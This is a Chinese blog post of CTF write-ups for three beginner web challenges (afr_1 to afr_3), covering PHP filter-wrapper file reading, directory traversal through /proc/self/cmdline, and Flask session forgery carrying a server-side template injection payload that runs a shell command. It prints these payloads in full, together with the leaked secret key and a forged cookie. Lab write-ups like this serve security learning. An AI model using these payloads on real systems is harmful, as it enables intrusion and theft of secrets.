刷书《从0到1》第一章之文件上传

FLASK_SESSION_MASTER下载链接

 

链接:https://pan.baidu.com/s/1d6COxfDjUp1afv-jOzDyLg 
提取码:ny04 

 

 

 

[第一章web入门] afr_1

  • 源码没有提示
  • Burp suite抓包没有线索

 

0X1观察URL

 

http://a414a458-b376-4ffd-8101-b8925a4fc133.node3.buuoj.cn/?p=hel

 

根据书上的内容,首先出现是Filter协议.这个师傅讲得好

 

 

0X2使用Filter伪协议来构造playload查看文件内容

 

http://a414a458-b376-4ffd-8101-b8925a4fc133.node3.buuoj.cn/?p=php://filter/read=convert.base64-encode/resource=flag

 

 

 

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

 

 

 

0X3进行base64转码

 

 

<?php
die('no no no');
//n1book{afr_1_solved}

 

 

 

  • 最近学python,尝试用python写脚本来解base64码

 

1 import requests
2 import time
3 import base64
4 re1=base64.b64decode('PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9'.encode('utf-8'))
5 print(str(re1,'utf-8'))

 

 

 

[第一章web入门] afr_2

0X1 F12观察源码

 

0X2 添加子目录img

 

0X3  根据提示进入子目录img../

 

0X4 记事本打开电脑下载的flag文件

n1book{afr_2_solved}

 

[第一章web入门] afr_3

  • 直接上书的内容

 

Proc文件系统
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态
cmdline
启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息

cwd
指向当前进程运行目录的一个符号链接

exe
指向启动当前进程的可执行文件(完整路径)的符号链接,通过/proc/N/exe可以启动当前进程的一个拷贝

fd
这是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接

environ
进程环境变量列表

 

0X1 观察了一下URL的变化

出现了name参数,利用上面的知识获取目前的命令

?name=article
http://2ec444c2-7f11-4c70-8d8f-ec202fd3a9b3.node3.buuoj.cn/article?name=../../../../proc/self/cmdline

 

0X2   查看server.py源码

execfile('flag.py') execfile('key.py')

 

0X3   查看flag.py源码发现没有权限,改查key.py源码寻找线索

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

 

0X4  在server界面进行代码审计

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''&lt;h1&gt;N1 Page&lt;/h1&gt; &lt;div class="row&gt; &lt;div class="col-md-6 col-md-offset-3 center"&gt; Hello : %s, why you don't look at our &lt;a href='/article?name=article'&gt;article&lt;/a&gt;? &lt;/div&gt; &lt;/div&gt; ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')&gt;=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

代码告诉我们;有两种路径,一种是/n1page,一种是/article,而前者存在ssti漏洞,我们需要将n1code参数及其值装进session中,然后进行传参,达到ssti的目的。

使用flask_session_cookie经行session伪造(在kali上面对应的flask目录打开)

python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

得到

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YGLP8w.RTl5D3R8ISXHIZpbKi40iNLKqqQ

 

0X5 修改包的cookie值

 

0X6 发包(第一界面)

得到的flag如上图

 

posted @ 2021-03-30 14:02  原来是甘文川同学  阅读(407)  评论(0)    收藏  举报